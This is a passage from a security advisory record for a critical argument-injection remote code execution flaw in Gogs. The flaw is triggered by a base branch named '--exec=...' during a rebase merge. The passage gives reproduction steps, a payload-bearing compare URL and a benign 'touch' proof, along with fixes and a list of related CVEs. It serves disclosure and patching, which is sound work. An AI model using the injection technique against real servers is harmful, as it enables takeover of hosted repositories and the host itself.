'refs/heads/--exec=touch${IFS}/tmp/BROWSER_RCE_PROOF:refs/heads/--exec=touch${IFS}/tmp/BROWSER_RCE_PROOF'\n```\n\n**Step 2: Enable rebase in repo settings**\n\n1. Navigate to `http://localhost:3080/attacker/demo/settings`\n2. Click **Advanced Settings**\n3. Check **Enable Pull Requests**, then check **Allow rebase**\n4. Click **Save**\n\n(Or update the database directly: `UPDATE repository SET enable_pulls=1, pulls_allow_rebase=1 WHERE lower_name='demo';`)\n\n**Step 3: Create the Pull Request**\n\nNavigate to the compare URL (base = malicious branch, head = feature):\n\n```\nhttp://localhost:3080/attacker/demo/compare/%2D%2Dexec%3Dtouch%24%7BIFS%7D%2Ftmp%2FBROWSER_RCE_PROOF...feature\n```\n\nEnter a title (e.g., \"RCE PoC\") and click **New Pull Request**.\n\n**Step 4: Wait for testPatch (~5 seconds)**\n\nThe background `TestPullRequests` goroutine must set the PR to Mergeable. Wait a few seconds, then refresh the PR page. The merge button should appear.\n\n**Step 5: Trigger the merge**\n\n1. On the PR page (`/attacker/demo/pulls/1`), select **Rebase before merging**\n2. Click **Merge Pull Request**\n3. The server returns HTTP 500 (expected - `git checkout` of the malicious branch name fails after rebase)\n\n**Step 6: Verify RCE**\n\n```bash\n$ ls -la /tmp/BROWSER_RCE_PROOF\n-rw-rw-r-- 1 cryptocat cryptocat 0 Mar 16 18:02 /tmp/BROWSER_RCE_PROOF\n```\n\nThe file was created by the Gogs server process during `git rebase --exec`\n\n## Recommended Fix\n\n### Primary fix: Add `--` separator\n\n```go\n// internal/database/pull.go line 282\n\"git\", \"rebase\", \"--quiet\", \"--\", pr.BaseBranch, remoteHeadBranch\n```\n\n### Defense-in-depth: Validate branch names\n\nReject base branch names starting with `-` at the PR creation endpoint:\n\n```go\n// internal/route/repo/pull.go, after line 447\nif strings.HasPrefix(baseRef, \"-\") {\n    c.NotFound()\n    return nil, nil, nil, nil, \"\", \"\"\n}\n```\n\n### Additional hardening\n\nApply `--` separators to all other `process.ExecDir` calls in `Merge()` that use `pr.BaseBranch`:\n\n- Line 233: `git clone -b pr.BaseBranch` (not directly exploitable but should be hardened)\n- Line 297: `git checkout pr.BaseBranch` (currently fails, but should use `-- pr.BaseBranch`)\n- Line 315: `git push <repo> pr.BaseBranch` (should use `--` separator)\n\n## Relationship to Prior Argument Injection Fixes\n\nThis vulnerability is an **incomplete fix bypass** of the Category A argument injection invariant that Gogs has been patching across multiple advisories:\n\n| Advisory                                                                                    | CVE                                                               | Description                                  | Fix Applied                                                    |\n| ------------------------------------------------------------------------------------------- | ----------------------------------------------------------------- | -------------------------------------------- | -------------------------------------------------------------- |\n| [GHSA-m27m-h5gj-wwmg](https://github.com/gogs/gogs/security/advisories/GHSA-m27m-h5gj-wwmg) | [CVE-2024-39933](https://nvd.nist.gov/vuln/detail/CVE-2024-39933) | Argument injection when tagging new releases | Added `--` separator to `git tag`                              |\n| [GHSA-9pp6-wq8c-3w2c](https://github.com/gogs/gogs/security/advisories/GHSA-9pp6-wq8c-3w2c) | [CVE-2024-39932](https://nvd.nist.gov/vuln/detail/CVE-2024-39932) | Argument injection during changes preview    | Added `--end-of-options` to `git diff`                         |\n| [GHSA-v9vm-r24h-6rqm](https://github.com/gogs/gogs/security/advisories/GHSA-v9vm-r24h-6rqm) | [CVE-2026-26194](https://nvd.nist.gov/vuln/detail/CVE-2026-26194) | Release tag option injection in deletion     | Migrated to safe git-module API                                |\n| [GHSA-vm62-9jw3-c8w3](https://github.com/gogs/gogs/security/advisories/GHSA-vm62-9jw3-c8w3) | [CVE-2024-39930](https://nvd.nist.gov/vuln/detail/CVE-2024-39930) | Argument injection in built-in SSH server    | Added `--` separator to `git upload-pack` / `git receive-pack` |\n\nThe [`git-module` library](https://github.com/gogs/git-module) (`v1.8.7`) was hardened with `--end-of-options` in `Clone()`, `Push()`, `Fetch()`, and 28 other call sites. However, the `Merge()` function in `internal/database/pull.go` **bypasses all of these protections** because it uses raw `process.ExecDir` (which wraps `exec.Command` directly) instead of the safe git-module API. The [`git rebase` call](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L282) was never migrated.\n\nNotably, `git-module.Checkout()` is also missing `--end-of-options` — a separate gap that incidentally causes the `testPatch` race condition this exploit leverages (see \"Why the PR Becomes Mergeable\" above).\n\n## Affected Platforms\n\nThe vulnerability has been confirmed on:\n\n- **Linux**: Docker (official image) and binary installation on Ubuntu 24.04\n- **Windows**: Binary installation with Git for Windows (MSYS2)\n\nOn Windows, the base64 inline payload approach fails because NTFS forbids the `|` character in filenames (git stores refs as files). The exploit uses file-based payload delivery instead: the payload is committed as a script file, and the branch name becomes `--exec=sh${IFS}<filename>`. An `sh` wrapper invokes `cmd.exe //c <payload>.bat` to avoid MSYS2 shell metacharacter mangling. The attached PoC handles this automatically.\n\n## Test Environment\n\n- **OS**: Ubuntu Linux 24.04, Windows (Git for Windows)\n- **Gogs version**: 0.14.2 (also confirmed on 0.15.0+dev, commit `b53d3162`)\n- **Go version**: go1.26.1\n- **Database**: SQLite\n- **Deployment**: Docker (official image), binary, and built from source\n\n## Credit\n\nJonah Burgess (CryptoCat) - Senior Security Researcher @Rapid7",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "gogs.io/gogs"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.14.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/gogs/gogs/security/advisories/GHSA-qf6p-p7ww-cwr9"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-52806"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gogs/gogs/pull/8301"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gogs/gogs/commit/a9dbafbfd8e1020bacc626420238c01d75d03364"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/gogs/gogs"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gogs/gogs/releases/tag/v0.14.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-77" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-23T17:02:40Z",
    "nvd_published_at" : "2026-06-24T21:16:56Z"
  }
}